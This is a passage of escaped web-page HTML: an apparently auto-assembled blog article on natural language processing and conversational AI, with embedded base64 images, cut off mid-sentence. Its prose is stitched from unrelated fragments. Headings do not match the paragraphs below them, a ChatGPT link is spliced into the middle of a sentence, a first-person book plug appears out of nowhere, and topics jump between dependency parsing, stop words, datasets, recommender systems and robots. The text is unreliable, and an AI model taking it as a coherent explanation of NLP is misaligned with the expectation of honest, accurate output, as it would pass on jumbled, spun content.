tPEwNw0NbGwcrWNxjAA6AAeC4B0vfxPUuiyBpWEYvXxnggxL+6zZcbzuW3UDA8WNG7TUxot16O\/kFzjjZDEyCNgZFC0MjY0ANY0DAaB4AdPyXJkoc4sx1AyV0moYT6NmT0xjvyu2nhMUQa\/q49XH3r85ajMxp2M6Zju0nOJJO8nM3\/NddhtDAGgWsu1ERR69oiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiKnd2J1VUS6LiWnPeq4Pgqoq3OxLBUwfFMHxVUVLnalgFQ5IxhceTrnAB8e9c0S51ovPT0jYCXElzivQCT29qIqlxdrRERFREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREVERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERFqy+mN177FbB8Um8qfTG699itg+KTeVdg9huM+4b9RnNR\/pKX3+RW01Fqy+mN177FbB8Um8qfTG699itg+KTeVPYbjPuG\/UZzT0lL7\/ACK2motWX0xuvfYrYPik3lT6Y3XvsVsHxSbyp7DcZ9w36jOaekpff5FbTUWrL6Y3XvsVsHxSbyp9Mbr32K2D4pN5U9huM+4b9RnNPSUvv8itpqLVl9Mbr32K2D4pN5U+mN177FbB8Um8qew3GfcN+ozmnpKX3+RW01Fqy+mN177FbB8Um8qfTG699itg+KTeVPYbjPuG\/UZzT0lL7\/Iraai1ZfTG699itg+KTeVPpjde+xWwfFJvKnsNxn3DfqM5p6Sl9\/kVtNRasvpjde+xWwfFJvKn0xuvfYrYPik3lT2G4z7hv1Gc09JS+\/yK2motWX0xuvfYrYPik3lT6Y3XvsVsHxSbyp7DcZ9w36jOaekpff5FbTUWrL6Y3XvsVsHxSbyp9Mbr32K2D4pN5U9huM+4b9RnNPSUvv8AIraai1ZfTG699itg+KTeVPpjde+xWwfFJvKnsNxn3DfqM5p6Sl9\/kVtNRasvpjde+xWwfFJvKn0xuvfYrYPik3lT2G4z7hv1Gc09JS+\/yK2motWX0xuvfYrYPik3lT6Y3XvsVsHxSbyp7DcZ9w36jOaekpff5FbTUWrL6Y3XvsVsHxSbyp9Mbr32K2D4pN5U9huM+4b9RnNPSUvv8itpqLVl9Mbr32K2D4pN5U+mN177FbB8Um8qew3GfcN+ozmnpKX3+RW01Fqy+mN177FbB8Um8qfTG699itg+KTeVPYbjPuG\/UZzT0lL7\/Iraai1ZfTG699itg+KTeVPpjde+xWwfFJvKnsNxn3DfqM5p6Sl9\/kVtNRasvpjde+xWwfFJvKn0xuvfYrYPik3lT2G4z7hv1Gc09JS+\/wAitpqLVl9Mbr32K2D4pN5U+mN177FbB8Um8qew3GfcN+ozmnpKX3+RW01Fqy+mN177FbB8Um8qfTG699itg+KTeVPYbjPuG\/UZzT0lL7\/Iraai1ZfTG699itg+KTeVPpjde+xWwfFJvKnsNxn3DfqM5p6Sl9\/kVtNRasvpjde+xWwfFJvKn0xuvfYrYPik3lT2G4z7hv1Gc09JS+\/yK2motWX0xuvfYrYPik3lT6Y3XvsVsHxSbyp7DcZ9w36jOaekpff5FbTUWrL6Y3XvsVsHxSbyp9Mbr32K2D4pN5U9huM+4b9RnNPSUvv8itd+T4pk+KIvuZa0mT4pk+KIiJk+KZPiiIiZPimT4oiImT4pk+KIiJk+KZPiiIiZPimT4oiImT4pk+KIiJk+KZPiiIiZPimT4oiImT4pk+KIiJk+KZPiiIiZPimT4oiImT4pk+KIiJk+KZPiiIiZPimT4oiImT4pk+KIiJk+KZPiiIiZPimT4oiImT4pk+KIiJk+KZPiiIiZPimT4oiImT4pk+KIiJk+KZPiiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi\/\/9k=\" width=\"308px\" alt=\"nlp examples\"\/><\/p>\n<p><p>While research dates back decades, conversational AI has advanced significantly in recent years. Powered by deep learning and large language models trained on vast datasets, today&#8217;s conversational AI can engage in more natural, open-ended dialogue. More <a href=\"https:\/\/chat.openai.com\/\">ChatGPT<\/a> than just retrieving information, conversational AI can draw insights, offer advice and even debate and philosophize. Transformers power many advanced conversational AI systems and chatbots, providing natural and engaging responses in dialogue systems.<\/p>\n<\/p>\n<p><p>Along with this, they have another dataset description site, where import usage and related models are shown. It is important to note that this dataset does not include the original splits of the data. This does not help the reproducibility of the models unless the builders describe their split function. The IMDB Sentiment dataset on Kaggle has an 8.2 score and 164 public notebook examples to start working with it. The user can read the documentation of the dataset and preview it before downloading it. \u201cPractical Machine Learning with Python\u201d, my other book also covers text classification and sentiment analysis in detail.<\/p>\n<\/p>\n<div style='border: grey dashed 1px;padding: 14px;'>\n<h3>Different Natural Language Processing Techniques in 2024 &#8211; Simplilearn<\/h3>\n<p>Different Natural Language Processing Techniques in 2024.<\/p>\n<p>Posted: Tue, 16 Jul 2024 07:00:00 GMT [<a href='https:\/\/news.google.com\/rss\/articles\/CBMif0FVX3lxTE9SNGwyVGQzUVFPYjd5MG5iaFR5QmZ0TUVKYVRNVlYtTW9xVmRGQk1wM015WnJ5cEowcVhtNU56UjJkU0VKWm5VY3pxTWJmRDdxb2JPLWpacDg2QlBrVHctZWJSWDQ0TGd3RjdsaWVNRXRhWUxQUms4TGFTSVRzLWs?oc=5' rel=\"nofollow\">source<\/a>]<\/p>\n<\/div>\n<p><p>In dependency parsing, we try to use dependency-based grammars to analyze and infer both structure and semantic dependencies and relationships between tokens in a sentence. The basic principle behind a dependency grammar is that in any sentence in the language, all words except one, have some relationship or dependency on other words in the sentence. All the other words are directly or indirectly linked to the root verb using links , which are the dependencies.<\/p>\n<\/p>\n<p><h2>The Emergence of Transformers in NLP \u2013 A Triumph Over RNN<\/h2>\n<\/p>\n<p><p>These are usually words that end up having the maximum frequency if you do a simple term or word frequency in a corpus. They often exist in either written or spoken forms in the English language. These shortened versions or contractions of words are created by removing specific letters and sounds. In case of English contractions, they are often created by removing one of the vowels from the word. Converting each contraction to its expanded, original form helps with text standardization. The use of NLP, particularly on a large scale, also has attendant privacy issues.<\/p>\n<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src=\"data:image\/jpeg;base64,\/9j\/4AAQSkZJRgABAQAAAQABAAD\/2wCEABALDBoXFhcXFxgdHRcdHR0dHR0dHSUfHR0dLicxMC0nLSs1PVBCNThLOy4tRWFFS1NWW1xbMkFlbWRYbFBaW1cBERISGBYZLRsaLVc3NTdXV1ddV1dXV1dXV1dXV1dXXVdXV1dXWFdXV1dXV1dXV1dXV1dXWldXV2NXV2NXV1dXV\/\/AABEIAWgB4AMBIgACEQEDEQH\/xAAbAAEAAgMBAQAAAAAAAAAAAAAAAQYCAwUEB\/\/EAEAQAAIBAgIGBwUFCAIDAQEAAAABAgMRBCEFBhIxQVETIjRhcXOyMoGRobEUcpLB0RUWIyQzQlLhYvBTgqLxQ\/\/EABoBAQEBAQEBAQAAAAAAAAAAAAABAgMEBQb\/xAAvEQEBAAIBAwEGBAcBAQAAAAAAAQIRAxIhMQQTFBUyQWFRkcHwIlJxobHR4UIF\/9oADAMBAAIRAxEAPwCuEkEmVAAAAAAAAAAAJIJAgkAAAABbtUn\/AC0\/Nl6YlRLdqn2afmy9MSVY7lxcgkw2kEACQQLASyCLCwEkWIswgFhYEATYWAAixIFwAuAABKFwMSQAABIHD1s7NDzY+mRUi3a2dmh5sfTIqRuM1AJBWUAkAQAAAAAAAKAAIgAAAABBIAAAAAAAAAAAACQAAAAAAAW3VTs8\/Nl6YlSLbqn2afmy9MSVY7ZKIBhtIIJAEAm4Agm5FwCFxcXAXFwABIAAAACCbEASQTYWAgCwAAMAcXWzs0PNj6ZFSLbrZ2aHmx9MipG4zQEAqAACAACgACAACgBAAABAAAAAAAAAAAAAAAAEgAAAAAAAFt1U7PPzZemJUi2aqdnn5svTElWO2SQLmG03FwLgSY7a5r4nB1jxMtuNJNqGztNL+5tvf8DnYbRdetFzpUZSjzVkvdfefS4vQzLjmeeWtvLn6jpy6ZNrftrmviNtc18SjyhZtNWadmmrNM3YXA1K7caVNzazdrWXi2dr\/wDMxk3c\/wC3\/XOert7dK5bcea+I24818Sofsut0vQ9DLpbbWzle3PkK+jK1NxVSjKLm1GN7WcnwuZ+H8fj2n7\/Nfesv5Vv21zXxG2ua+JU6uhcRTjKc6DUYpuTvHJLjvMo6DxLSaw8mmk07xzXxJ7hxefaT+3+z3nL+Vattc18RtrmviU7CaOq179FSc7b2rJL3sLR1V1HS6J9Ik5OLSTtzzL8Ow3r2n7\/M96y\/lXHaXNfEyVnuaZSKOFlUjOUIbUYR2pvLqx5mNOTg1KLcZLc1k0a+GT6Z9\/6J75frivIsacHVdSlTm98opvxN1j5GUuNsv0e2Xc3BIWFgRSxFgAFgABxNa+zw82PpkVMtmtfZ4ebH0yKmbjNQACsgACgAAAAIAAKgABAAAAABBJAAkAAAAAAAAAkAAAAAAAAAW3VTs8\/Nl6YlSLZqp2efmy9MSVY7YIJMNgAAresPaF5cfqzfoulVlCnXrSmsNQd6cYrrTle+zFLfnx8e80axdoXlx+rPNR0piKcVCFacYrclayP0XHhln6fGY6fLzsnJdscZKdWpVrOnKKc7y6rtBvcmz36Iqyjh66nRnUw8pRU5UpJVIyW7Le1u7jnTxtWSmpVJNVGnNX9prc2RhsXVotulUlBvfZ7\/ABR3y47lh09vp+LlMpMtrPgqDhisO+lqSpyw9V01VVqlNdXJ\/I59LGUYU6WHpVp1nPEUpucouCilKOST8DlPSFZ1OldWXSW2dq+ezy8DRCTi007NNNPk1uOOPpb\/AOr++7d5Z9Hf1gjS6TEPYxPSf5ZdDuXyPRpZUm6O3HFOXQU7OjbY47+84VTSuInGUZV5uMk003k0+BlHTGJSSVeaSVkrrJGZ6fOTGb8fe\/6W8mPf7vdWVR6NwvQ7Tip1Ol2L3275Xt\/3cezRXTrFUliXn9mnsrLbUMva438e8r+GxtWjfoqkoX32eT9wWNqqo6qqS6RppyvdtcjeXBlZce3ff9e6Tkksrs4B4b7Pjvs6rJ\/Z3fpXG1rO1rFeNlKvOCnGEmlOOzJL+6PJms7cfH0XK73tzyy3IuOi+zUfuI9RW9Gaa6GHR1IuUV7Lja67sz2\/vFS\/wqfCP6nw+b0fN7TLWO+76XHz8fTN11wcqGsFFtJqpFc2lZfBnUjJNJp3TV01uaPLycOfH88064545fLdgAObYiLgAcXWvs8PNj6ZFSLZrX2eHmx9Mipm54ZoACoAAAAAAAAAAAAAIAAQAAEAACQAAAAAAAAABIAAAAAAABbNVOzz82XpiVMtmqnZ5+bL0xJVjtEkAw2kAAVvWL+vHy4\/VmdLRmHVHD1K1acHWukoxUkmnb9DDWL+vHy4\/Vnuwul6dGjgYvo57Ln0qa2p01tZNcufuPv43OcGHR++1fMymN5Mup5loWEHiunqyjGg4ZwintKW52+B56Gj6eIrRp4arJw2XKc6kbbCW\/Ljw+J1sLjIwnjrYump1JU3Tqyaaaz4dyyPPTx6p4rar4iFaNSjKlKdNJbEW+SX\/bicnL3\/AB1+n9P1S44dv3+rx1sBh5U6k8PiHKVNXlGpHY2o84\/oZrRdCnCm8ViJQqVIqajGF9iL3OTNdfA4alSqN4lVqjypRp8O+X6HqxXQY1UqssTCjONONOrCazy4x57zpc721ldfjrv\/AI\/RnU\/Cb\/q88dByWIqUZzUYU4dJOrbLo+aX\/dzNeLweHVKVXD4jb2WlKFRKM8+KXFHSlpajUxGIjJuNCrRVGNS2ate0muWb+RoxVWlSwc6HS0a1SVlB04K8I3u25czMz5dzq3vt\/wB+i3HDV192OkdAuhXoQ2m6VWcIbdleMm7NfmYVtEwhCvOVSWzSrxpPJZxdrvxzOlV0xSWNalKM8NPopbSd1CpG1pfJXPLj8ZSlQxsY1IuU8SpwSeco9XNGcM+a9My+3+Vyxw76a5aNwioxruvW6OUnBfw1e67vcaf2PtRwfRybliNvfuio2z+BjWrwej6NNSXSKtKTjfNRs8z20dKU6K0bLaUujjVVSKzlFSsv++Bu3lxna23d\/tLpP4L5+zT+yKFRzp4fESnXgm9mULRnbeos01dDtYKni4Nyvdzjb2Ve10ezCLD4SpPExxMatoy6KnFPbbe7a5GEdKKlQwOzJTcVVjWp84SayaM9fLudFtn3n2u4dOGu\/Zz9J4FUHSSk5bdKFR34N3y+R39BybwtO\/8AyXu2mcrWPEUqlWk6ElKEaMIq3CzeT77WOpoLstPxn6mcPWW302Ny87\/27enknLZPwe8EkHxnvACAOLrX2eHmx9MipFt1r7PDzY+mRUjc8M0ABUAAAAAAAAQSAAIJIAAAIAACAABIAAAAAAAAAAkAAAAAAAAteqvZ5+a\/TEqha9Vezz81+mJKsdsgEmGxEkEgc7SujOntKLUZxVs9zXJnL\/YFfnT\/ABP9Cyknr4vW8vHj043s4Z8GGd3VZ\/YFfnT\/ABP9Cf2BX50\/xP8AQspJ0+Jc\/wBvyZ9141Z\/YFfnT\/E\/0H7v1+dP8T\/Qs4HxHn+ye68asfu\/X50\/xP8AQfu\/X50\/xP8AQs5I+I8\/2PdeNV\/3fr86f4n+g\/d+vzp\/if6FoA+I8\/2X3XjVf936\/On+J\/oP3fr86f4n+haAPiPP9j3XjVf936\/On+J\/oP3fr86f4n+hZwPiPP8Ab8j3XjVqGr1ZtbUoJcWm2\/hYsGGoRpU4047oq3e+bNpBw5vVcnNNZ104+HHj8BAB53UIYAHE1r7PDzY+mRUy2a19nh5sfTIqZueGaAAqAAAAAAAAAAAEEgCAAEAABAAAkEEgAAAJIAEgAAAAAAAAAAWvVXs8\/NfpiVQtWqvZ5+a\/TElajtgBGGkokgkASQSBIQSJIAACB5MbpOlQylK8v8Vm\/wDRp05pL7NRbX9SXVh48X7ikfaW3dttvNt5tmpNm1nes3W\/p9XxzH7zdb+m9nxzKy57jPEOzT5pM1qIvmBx9OvG8Hmt6e9HpPnNDGypTU4OzXz7i\/4LFRrUoVI7pL4PijNmllbyCQZVBDJAGIJIKqAAEcTWvs8PNj6ZFTLZrX2eHmx9Mipm54ZoACoAAACABIAAAAACAAAAQAAEAAAAAJAAAAASAAAAAAAAQAALXqr2efmy9MSqFr1V7PPzX6YkrUdsBEmGgkgkCQABJJAuQSCLmrF11SpVKj3QhKXwVwika14\/pcTKKfVp9ReP9z+OXuOTQTbNTm5y33k3dvm3vZ2MBh9mN97Z0t6YY49VY0cK5NZHrxFBNeCsjapMm91m7LvOPXdvROOSODWi07Fq1Oxl41KD4dePg9\/\/AHvOViMJGonsO77jPV+bp4qjdrrOVNr+7NXWXijpLuOFx1V4AIMiSAQUQAAqAAEcTWvs8PNj6ZFTLZrX2eHmx9Mipm4zQEAqAAAAAAAAAAAAAAAAAAAgEAIkAACSCQAAAAACSCQBAAAAAAWrVbs8\/NfpiVUtWq3Z5+a\/TEl8NR20SiCTDSSURclASALgSCAQScjWqtsYGquM9mHubz+R1ys67VrUacOc7\/BFnlFPwVulipXs5JO2879dqLcbJpc27e61isxnsyUlwaZZ3GFaMW9zSZrk7Ncc200KylJpb1yba38bmWLqulJNXV1a+9\/6NtGhCnJKNkt7bPTiakJPg+a4nLfd3mN01YGs5O6bceN729xzsdU6LEwknnGp0nwat+Z14tJLZVkV3Hyc61R8pNL3Fwu658k1H02nNSipLc0mvBknM1dxHSYSlzitl+7\/AFY6VzTmkgXIChBJAAAgI4mtsksNC7t\/Fj6ZFTTLJrw\/5Sn50fRIpEajW5m8Z2Yvl0weSnimt+Z6YVFJXRdIyAAUAAAAAAAAAAAAAAABiAAiQQSAJIAEggkAAAAAAAAAAABatVuzz81+mJVS06r9nn5r9MSVqO3cyMEZIw0zRJCAEgGLAm4uQSQLlJ1yxG1XjBf2x+bLpJ5NnzvTdXpMTVlwvZeBrHylcqa4nU0ViepsPfF5eB4KcLxZOGyl4m8u8Mbqu5UqqzTg5X5Iyw9ZxyVF58W1keOnWt1Zu3JmyFaN+tJy95w09Mr1zxKhBye\/l3nEjnJvi3czxlfbqdy4GunnkdMMdRwzy3Vp1Rr2dSlfL2kWgo+gK+xiKbk0k4tNt2W4u0JqSTi009zTumSjIXIBAuCBcCbkMXFyiua9P+Up+dH0TKJcvWvXZKfnx9EyhnTHw55eWxM2Uqri7\/I0XMkzTLqxldJrcSeTB1P7fgesyoAAoAAAAAAAAAAAAAxAAQJAAAAASQAJBAAAACQQAJBAAktOrHZ5+Y\/TEqpadWOzz8x+mJL4WO0jJGCJRhtsRkYINgSwQCCWCDkaxaUVCnsRdqs1w3xjz\/Ism0b9KaSpU6c4Oottq2ys5JPf\/wBZTdIOMnKcVaLzS5I87q7SyNWKxdlGC3reb6dErbQh1X32PNKNnflmY4evv7ycRLJc2JO5bNOnFxnFWaf5EqnY4qT3rJmacnvk2u9sns\/u17RnVn15WZuwzuzxyjZm2jiEnZrLmbs1GN7ro7o34JP5m7B6XrUrKFWSit0b3j8HkeKpiNpbMd31NFyYz8TKr5obTirvo6llU\/ta3S7vE7Fz5lh8S4yjKLs000+TR9GweJValTqr+6Kfg+K+JnKaXGt9yADDRcXAArmvXZKfnx9Eyhl8167JT8+PomUM64+HPLyEmJJplspzs0zqp3zOOjpYWd4eGRKrcCCSKAAAAAAAAAAAAAMQAEAAAJIAEgAAAAAAAAAAAABadWOzz8x+mJVi06r9nn5j9MSXwsdgyMSTDaUSQAJJMbgIzR8+0vjOmxFWpfJyaj91ZIu+PrOnQrTW+NObXjbI+cSfA3hGaxk2r2yuaujvvJk2pI2JHRlqjCzM9m7M7GUUFYbAsZtGEnwCMWrm2hguky2lFvdtXs\/eRCNzdKJqY2zcGqVNwbjJWayaMZHujNVkoTdqiyhN7n\/xl+p5cRhqlO7nTlFJtXcXs38dxlXnpyLtqjitqjOk3nCV191\/7v8AEo0Dt6uYzocTBv2ZdSXv3fOxMpuLF9JuQDg6MrgxMkwK5r0\/5Sn58fRMoZfNeuyU\/Oj6JlDOuHhzy8sSSAaZZI9eCn1rczyIzpys0wOqSQnfMGWkggASCABIAAAAAAAMQAEACQIAAAkgkAAAAAAAAAAABadV+zz8x+mJVi06r9nn5j9MSXwsdgkAw0EMMhsKkkxTFwjw6enbCV\/ur6ooUlcu2sEv5St\/6+pFJaOmHhnJpnwNsdxrrXsaoVGjbL2JA1QrGzaQETlbxMYRItd3ZvpRuaxxuV1C9mdONjZYlRMkj6uHFMcdOHtO7z1YfA3faXVpdBOVna0JvdvvsyfLJZ8PAz2Ty1qVs+B5Ofg6e8d5dvG4ShJxkmpJ2ae9M302bm1VSjUaU4q0Kj3Jf4y7uT4eG7TsOLcZJqSdmnvTPJR9C0LjftGGhN+2urP7y\/XJ+89xXtUqFWFOcpK1Kdtm+9tcUuX6FhR58vLrAm5BJFVzXnslPzo+iZRC+a7RcsJTSV300fRIos4OO9WOuHhzy8tZJiSbZSZIxJRB0sJO8bcjceDC1LSXJ5HvJVAARQAACSCQAFwAAAGIACAAAAAAAAAAAAAASQAJBAAktWq3Z5+a\/TEqha9Vuzz81+mJL4WOwCSGzDTGTIJIAETZJhMDk6xSf2ZxSbc5xWSv3\/kVn9nVnupv5Fvx\/wDTz5q3ieaDyM3kuPaOmHHMu9U7E0Jw9qMl4o8KZdMW7plMq22pfef1OvHn1Rz5MOms7ox2zZSwtSfsU5y+7CUvoelaExbTl9nqWWd3G3yOrm00LyZ0YRsjy4RKOXE9p7\/S4Ty48tsgkZwp33GKO1o3DRcf+bPdbqPLxYzK7yvaOS6bRi45WZ2sVS2L3SsciazMZd49nVhreF3HPr0th9x69DY2jGvT+0xThHKM3mo8lLml8hNJqzOVjISUlfdZJNcUufefO5eHXhuZ7fVNq+a3cPAko+rOsXQuOHxDvSeUJv8A\/m+T\/wCP0LumuB8\/Kadpdsri4QMq4OuDX2aF8r1Uv\/iRQ6q2Yxi98dr3pl3157JT86PomUuM1NbMt\/BnXDw55eXlJJnBxdmQbZSSiESQZJnToz2op\/E5Z6sFUs3Hn9RVe4gkgyoSAAAICJBBIUAAGIACAAAAACSAAAAAAAAAAAAAFq1Wf8vPzX6YlTLZqr2efmv0xJfCx2bhskgw0xuGSyLgDOGFlNXySZqlI9eAq3TjfdmvADz1tE7dk52Sd8kTDQ9Nb3J\/I6RDJcZVmdnhxMfSw2H2dqjKak9+9LxueD9q0qcqsKWFpwnBXWS6yt3JHfx+FValKDWdsvEp9W0WpJRVajf\/AC\/p3svGzy950xk+jNtvl7ZacrS2HDYhTmrKdl1Z8sxg9L1FL+NOTiurUTiopcppo57tdxT6lT2JTmrQmr3yye97L35NGG2pXlZOcOrVjzj7K3Wfdu5Oxtlq1kwPQ19pJKFTrRtuvxPBSqX37yxYSMcVRlgqkryitvD1HvceC8VufcVecZU5yhJWnFuMlyZ6PT8vTkxyYdU09sWdPAYzZaRyaUro3U5Wdz6\/bKPBevGWT6ulj8apuyObNkXIbOdvbTlJprmzVUipKz3GybNdzjk9PFlXgqUGnbfyPoerdKpDC041Xdq9u6L3I4Or+jOmqKrNfw4ezycuZcY5Hyuazeo+hgyABwbVzXnslPzo+iZRC968dkp+dH0SKKdsPDnl5bYyU0oy9z5GicHF2e8k2xkpLZn7pcjTLSiSZwcXZ7yAJMoOzuYGSIOtGV0nzBpwjexZrcbjLQASBBIAAAAAABiSAECCQBAAAAAAAAAIJAAAAQySAILZqr2efmv0xKmW3VTs8\/Nl6YkvhY7NyLgXMNDZiyWYzkBhJmmeM6GpTfBvrfdNlzn46O3LwViW6axm7paNv4GLZ4NC4rpKOw31qfV72uDPeys2arByZWdY4yoVIV4RThPKaaTTfFPuauWax5sdg416U6Ut0lk+T4M1KinRhtXoqTntWdJuFoq6vwb3pbLytdLIx6dy2ai2qjVlUgvZ2c0rpx3NZPJZpPiaKe1aeHmp7dNy2Yxe\/wDzSun4q2eT5norT3TntbEns1Kds3ZeKs5e0sr3T5HRlNPqzjGDvKLU6LUUrPk7PjueVro9OncLHFUY42mkpRWzXiuH\/L3X+HgeVQedKWW+dO0vab3ZNvercN6txPbo7G9DPbmrUpPYqprNvhO1l38OfMKrdOexKz956rmWsGi3ha1o50Z3lSfBL\/G\/d9Dw4evfqv3H0PT8u5quPJj9Xr2iHI17Q2j0ZV4rESZt0dgZYmqqa9hZzlyXI0RhKco04K85OyX5l10Ro+OGpKCzk85StvkeH1HL0zUerg49969uHoxpxUIq0UrJG5EIyTPnPam4IJuQV3XbstPzo+mRRpIvWuvZafnR9MikHq45vFzy8tRBlKJArLZGSktmXuly\/wBGuUXF2e8g2RmmtmW7g\/8AH\/RBgkevD4V3vJZcEbcLRUVdrPmehmbVQACKEkEgQSAAAAAgkAQAAiASAIBIAgAAQCQBAJAEEgAQyCWQALVqi\/4FW\/8A5peiJVS26pr+Xn5svTEl8LHaZBKQMNIuaZs2zZqbAxOYqnWknv2n9TqHJ0jTcJ7a9mXykZzm46cd1XroVtnNZPuOtgsR0id96395W5OVlKK2l3b0enR+k1Td+DyZywuq7Z4dU7LG0YsjD141VeD8VxRu2Du8t7eVZ1h0bHpIYqO0pXSlspXclufyt8DlU4Rv\/DUo4epHZ29r2M723pdV\/LxLvXoKcJRe5q26\/wBSsw0VOp9opSkpSpPbhBNxe13Nq1mvyOkrLlxpOW1DYbq03KW1LJbKd5JcF\/kr34k22l0mzt7StVUfZTb3rJWvvTzzvyNk9qVONVqcJ0bdV+1s3yl1ndW3PLijYoQupbEY4erk9ylFrgsruzzRoeyjRji8PPB1X1oraoz+jXhy5XXAo+LoTozlCatODtJcmWzD7VOWyoWnTd6Urvrdybea4\/8A6enT+i1jaMcVQjesurOKz2kt68Ubxy6btLNqjQq7a7+JnKVldnkV6c2rbnZlg1f0b9omq01\/Cg+qnunJfoezLmkw28\/s\/wCJ0dXdF9HHp6i\/iz3J\/wBkeXid6Bmoohbz5edtu69eOpNRmiUEyTLQACCva69lp+dH0yKQXfXXstPzo+mRSD18XyuWfkZrkjYQbs2ztqIMpRsRVtk1x4cjnpXpwuJ2erL2foe+5xLnrwmK2erLdw7jFiugACKAAASABAJBBAJAEAAqAAAgEkAAAAAAAAACCQBBBJAAtuqa\/l5+bL0xKkWzVHs1TzpemJKsdywJsDDTXNmtszmzEowZrrUlUi4S3NG1kAcXDt0qjpy3r5rgyKujXUrXpuzlduLeV+49mNw7m1OK68XlwuuRhKq9mNWF9qDUrcct6OVmq9WGXVi9ui6NSjKMZQabftLdbkd0ilUU4xnHdJJrwZkdZNPNlluoORp2hNLp6MtiSWzOSsm4eNr5HYNVedNRaqOKi001JpXRYyqOkMJVw9WnitlNTjepsO8bv2s+9ZmFHDtTdJt1KdVbVN9Z2f8Aa3bPuZ3MTpPBUKcKM5KcFlGMlt3t47zxVNa6UerRpZLJX6q+CNI8y0RWrQ\/pOFSnlTk3sq1783u\/M7OjcFVoycpShsSitqEY2SqcZJnGlrHWnu2Y+CIji51PbnJ+LyA0awaEhVxUZU3aMutVa4O\/DvZ18JanGMIq0UkkuSPPTR66UBseyGZk4mFKNjekZsWNZIYMNlwAQV7XXstPzo+mRSC7669lp+dH0yKQevi+Vwz8hBJB0Z2hmmUbG4hmbGmgGUo2IMWK9eExVurLdw7joJnEPZhMTbqy3GLFe8AEUJAAAAAAAIBBIQBAAkgAAAAAAAAAAQyQBA2TdYmwGnYZatUoWw07\/wDll6YlbLTqv2efmP0xJVjsWMZIyZjIw01sxZMiLlBshsXIbyfgWI1yRzqylSm5xV4vNx\/M6VGSnCMluaTR58THrfAtx35McrjdxvwWmkoNKO0ld2vZo8mI1qnuhSUfvZs8GJouLvHJPkePYbZJNNZZSvbV0viKntVGlyj1foRhpXvd3e\/M80aT5Hpw8bP3FZcPWapapRtvSk\/i1+hooVtpJmrWCptYmS\/xUY\/n+Z5cJW2ZWe5m9MO1Te46uEuzk0FdosWjqN13EqvbhaN8zp0qKRrowslkeuKIrHZJsbLBxA89RGBvmsjQc7G4AWFiKr2uvZafnR9MikF3117LT86PpkUg9XF8rz8nzIIJIZ0YCACNRDRrasbSGjNajUShY9WFpcWjFV7aN9lXMyIokw0kAgCQAAAIAAAIAACAAAAAAAAAAAIBAG+Mrok1U5G0oFp1Y7PPzX6YlWLTquv5efmP0xM1Y69jGSMmjCSMNMWiCXYgoxuRUfVl4P6GZjP2ZeDLEcrVqs5Upwf9ksvB\/wC7nRqU02+f+kcvVaGWIfDajH3pP9Ts8WdMvLE8PHUoZM8f2fPM7So33kPDIy05P2dGKp2zOnOgjm6T\/h0asuVOb+RBQcXV26tSazTlJrwvkagDqw62hsReapy38O9F40XBbNmfOtHT2a9J\/wDOPzyPpGDaSTbS7zNjUdKHyNu2edVqe7pIiVRcJJ+BB6lMbR5Y1DJVAPRJnne8yczC5zybxPeLAGWle127LT86PpkUcvGu3ZafnR9Mijnp4vlefk+YIZJB1c0AAjUACEruxmtxlRpbT7jowhZGvD07I3nK1oJIBFSCCQABAEgACAAEAAAAAAAACCSAABFwBAuAF7Hoi7o8lR5GzDVLqwG8tOrHZ5+a\/TEqty06r9nn5r9MSVY7DRg0ZyMGjLTEXJsQgIQayJuTcsSuTq3HZozfGVSTt4JI6avf3v6mnRFFwoR3cXfxbdl8T0ONlvOt81ieG1SyMZTRgmazFVlJ3ORrNPYwVZ80o\/GSR1kjga519nDRhxnUXwSb+thO9FGJJUTKEG2kldvJLmztpjbLD4eVSahBXk\/l3l1wFGqowjWmthe1Kzz7u482hdGqlFX9t5yf5HabtaK9\/cYyrUdKlQjsrZ2WrdxjOKXBHgjTjfJW+7kb1Lvb8TKtlx0hqdQ89SvYivY65g9JUo5Nyb7krfU51TE2V\/geG922Z8q7j0xDhGT8bIxlpnlT\/wDr\/RxVcm41DbXrTjpVaEYuKSVSLyv\/AIyKqd7Tr\/gx++vozgHo4\/Djn5ACDTIQCJMlWDfA9mGo2zZqwtG7uz3JHLKukiUSQSZaCSCQAAAAAACAAAAQAQAAAAQSQAsCSABBJAEAADVWe4xpStJMmpmzFojWnvO9oLHxo0ZRcW25t77cEVzDzurcUdTBew\/vP6IqO5PTXKn\/APX+jTLTEuEY++7\/ADOezEaNvc9K1H\/iv\/X9RLStZqynZdySPCAbb3jKj31J\/iZh0jk0rttuyzNSOhobDudeL\/th1348PmBYOjUYqKySySXAxkjbJ52NcjSNbRCQkwmudjNESjf2XaXApGt+IdSpR4JRkrf875\/kXTFQkqc5RV3GLkrPO6Vz5ni8RKtOVSTzk2\/BN3sawnfaZXs0wOvoHC7UnVayjlHxOREtuj6XR06ce5X8eJ0yuoxjO7p0nsps2Rds+LNEHutu493ebXI5OjZ0hi6pplI1ykSq2yrGuUjC5qr1Mtn4kVjOe0+7gQjCLM0BJNiAEc7Tv9KP319GcE72nv6Mfvr6M4J3w8OWflABBpBsyo09t9xgk5OyOhQpbKOeVbkbIxssjIEnNsAAAAkCCSCQAAAAACAAEAQAJuCABJAAAMADEAAAyABrIaAMuhRlaR2sE+o\/H8kAWMVvIAKgQwCg2WXQWH2KO2983f8A9Vu\/P4gBXtTed0YTAKjXcxlZ70AZVWNaq7pKEKcpRc7t2k0nHc18ypsA7YeHLLy34Kjt1IR5tfAtUMmiAZzXB6Kbyvz+glMkGG2vaIAMqwq1lBZ73uR527794BrXYSbEAZEoJgAc3Tr\/AIMfvr6M4IB3w8OeXlBDZAFSPbhqNld7z0gHGuiSSAFSAAAAAAAAAAJIAA\/\/2Q==\" width=\"305px\" alt=\"nlp examples\"\/><\/p>\n<p><p>They analyze user preferences, behavior, and historical data to suggest relevant products, movies, music, or content. Robots equipped with AI algorithms can perform complex tasks in manufacturing, healthcare, logistics, and exploration. They can adapt to changing environments, learn from experience, and collaborate with humans. Put simply, AI systems work by merging large with intelligent, iterative processing algorithms. This combination allows AI to learn from patterns and features in the analyzed data.<\/p>\n<\/p>\n<p><p>Gemini&#8217;s double-check function provides 